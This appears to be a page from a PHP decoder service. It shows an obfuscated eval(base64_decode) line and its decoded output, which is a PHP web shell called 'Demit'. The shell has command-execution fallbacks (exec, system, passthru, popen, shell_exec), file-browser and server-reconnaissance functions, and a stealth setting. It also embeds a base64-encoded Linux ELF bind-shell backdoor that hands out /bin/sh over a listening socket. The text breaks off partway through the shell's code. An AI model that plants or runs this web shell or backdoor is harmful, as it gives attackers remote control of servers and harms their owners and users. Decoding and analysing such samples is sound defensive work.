Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJHNoX25hbWUgPSAiRGVtaXQiOw0KJHNoX21haW51..
Decoded Output download
error_reporting(0);
$sh_name = "Demit";
$sh_mainurl = "";
$html_start = '<html><head>
<title>'.$sh_name.'</title>
<style type="text/css">
body,table { font-family:verdana;font-size:9px;color:#CCCCCC;background-color:#0a0a0a; }
table { width:100%; border-color:#333333;border-width:0pt 1pt; border-style:solid; }
td {background-color: #070707; font-family: Courier New; font-size:8pt; color:#999999; border-color:#FFFFFF; border-width:1pt 0pt; border-style:solid; border-collapse:collapse;padding:0pt 3pt;vertical-align:middle;}
A:Link, A:Visited { color: #999999; text-decoration: none; }
A.no:Link, A.no:Visited { text-decoration: none; }
A:Hover, A:Visited:Hover , A.no:Hover, A.no:Visited:Hover { color: #666666; background-color:#333333; text-decoration: none; }
input,select,option { font:8pt tahoma;color:#666666;margin:2;border:1px solid #666666; }
textarea { color:#666666;font:verdana bold;border:1px solid ;margin:2; }
.fleft { float:left;text-align:left; }
.fright { float:right;text-align:right; }
#pagebar { font:8pt tahoma;padding:5px; border:3px solid #333333; border-collapse:collapse; }
#pagebar td { vertical-align:top; }
#pagebar p { font:8pt tahoma;}
#pagebar a { font-weight:bold;color:#4a7a93; }
#pagebar a:visited { color:#00CE00; }
#mainmenu { text-align:center; }
#mainmenu a { text-align: center;padding: 0px 5px 0px 5px; }
#maininfo,.barheader,.barheader2 { text-align:center; }
#maininfo td { padding:3px; }
.barheader { font-weight:bold;padding:5px;background-color:#333333; }
.barheader2 { padding:5px;border:2px solid #333333;background-color:#333333; }
.contents,.explorer { border-collapse:collapse;}
.contents td { vertical-align:top; }
.mainpanel { border-collapse:collapse;padding:5px; }
.barheader,.mainpanel table,td { border:1px solid #333333; }
.mainpanel input,select,option { border:1px solid #333333;margin:0; }
input[type="submit"] { background-color:#0a0a0a;border:1px solid #121212;}
input[type="submit"]:hover { background-color:#0a0a0a;border-color: #0271a8;}
input[type="text"] { padding:3px;background-color:#0a0a0a; }
input[type="text"]:hover {background-color:#0a0a0a;border-color: #0271a8 }
.fxerrmsg { color:red; font-weight:bold; }
#pagebar,#pagebar p,h1,h2,h3,h4,form { margin:0; }
#pagebar,.mainpanel,input[type="submit"] { background-color:#0e0e0e; }
.input,select,option,input[type="submit"]:hover { background-color:black; }
.barheader2 hover {background-color:#333333; }
textarea,.mainpanel input,select,option { background-color:#0e0e0e;padding:1;margin:2px }
textarea:hover, select:hover { color:#666666;font:verdana bold;border-color: #0271a8;margin:2; }
// -->
</style>
</head>
';
$login = "";
$pass = "";
$md5_pass = "";
$host_allow = array("*");
$login_txt = "Restricted Area";
$accessdeniedmess = "<META http-equiv=\"refresh\" content=\"2;URL=http://www.blackshop.cc\"><body bgcolor=black><a href=\"$sh_mainurl\"><font color=lime>fx0</font></a>: <font color=red>access denied</font></body>";
$gzipencode = TRUE;
$filestealth = TRUE;
$curdir = "./";
$tmpdir = "";
$tmpdir_log = "./";
$log_email = "[email protected]";
$sort_default = "0a";
$sort_save = TRUE;
$sess_cookie = "capriv8vars";
$usefsbuff = TRUE;
$copy_unset = FALSE;
$hexdump_lines = 8;
$hexdump_rows = 24;
$win = strtolower(substr(PHP_OS,0,3)) == "win";
$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc)) {
$disablefunc = str_replace(" ","",$disablefunc);
$disablefunc = explode(",",$disablefunc);
}
function get_phpini() {
function U_wordwrap($str) {
$str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
}
function U_value($value) {
if ($value == '') return '<i>no value</i>';
if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
if ($value === null) return 'NULL';
if (@is_object($value)) $value = (array) $value;
if (@is_array($value)) {
@ob_start();
print_r($value);
$value = @ob_get_contents();
@ob_end_clean();
}
return U_wordwrap((string) $value);
}
if (@function_exists('ini_get_all')) {
$r = "";
echo "<table><tr class=barheader><td>Directive</td><td>Local Value</td><td>Global Value</td></tr>";
foreach (@ini_get_all() as $key=>$value) {
$r .= "<tr><td>".$key."</td><td><div align=center>".U_value($value['local_value'])."</div></td><td><div align=center>".U_value($value['global_value'])."</div></td></tr>";
}
echo $r;
echo "</table>";
}
}
function disp_drives($curdir,$surl) {
$letters = "";
$v = explode("\",$curdir);
$v = $v[0];
foreach (range("A","Z") as $letter) {
$bool = $isdiskette = $letter == "A";
if (!$bool) {$bool = is_dir($letter.":\");}
if ($bool) {
$letters .= "<a href=\"".$surl."x=ls&d=".urlencode($letter.":\")."\"".
($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"")."> [";
if ($letter.":" != $v) {$letters .= $letter;}
else {$letters .= "<font color=red>".$letter."</font>";}
$letters .= "]</a> ";
}
}
if (!empty($letters)) {Return $letters;}
else {Return "None";}
}
if (is_callable("disk_free_space")) {
function disp_freespace($curdrv) {
$free = disk_free_space($curdrv);
$total = disk_total_space($curdrv);
if ($free === FALSE) {$free = 0;}
if ($total === FALSE) {$total = 0;}
if ($free < 0) {$free = 0;}
if ($total < 0) {$total = 0;}
$used = $total-$free;
$free_percent = round(100/($total/$free),2)."%";
$free = view_size($free);
$total = view_size($total);
return "$free of $total ($free_percent)";
}
}
if (!function_exists("myshellexec")) {
if(is_callable("popen")) {
function myshellexec($cmd) {
if (!($p=popen("($cmd)2>&1","r"))) { return "popen Disabled!"; }
while (!feof($p)) {
$line=fgets($p,1024);
$out .= $line;
}
pclose($p);
return $out;
}
} else {
function myshellexec($cmd) {
global $disablefunc;
$result = "";
if (!empty($cmd)) {
if (is_callable("exec") and !in_array("exec",$disablefunc)) {
exec($cmd,$result);
$result = join("
",$result);
} elseif (($result = $cmd) !== FALSE) {
} elseif (is_callable("system") and !in_array("system",$disablefunc)) {
$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
} elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {
$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
} elseif (is_resource($fp = popen($cmd,"r"))) {
$result = "";
while(!feof($fp)) { $result .= fread($fp,1024); }
pclose($fp);
}
}
return $result;
}
}
}
function ex($cfe) {
$res = '';
if (!empty($cfe)) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("
",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
} else { $res = "Ex() Disabled!"; }
}
return $res;
}
function which($pr) {
$path = ex("which $pr");
if(!empty($path)) { return $path; } else { return $pr; }
}
$hostname_x = php_uname(n);
$itshome = getcwd();
if (!$win) {
$itshome = str_replace("/home/","~",$itshome);
$itshome = str_replace("/public_html","/ca.php",$itshome);
}
else { $itshome = ""; }
$enumerate = "http://".$hostname_x."/".$itshome."";
$Lversion = php_uname(r);
$OSV = php_uname(s);
$backdoor ="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";
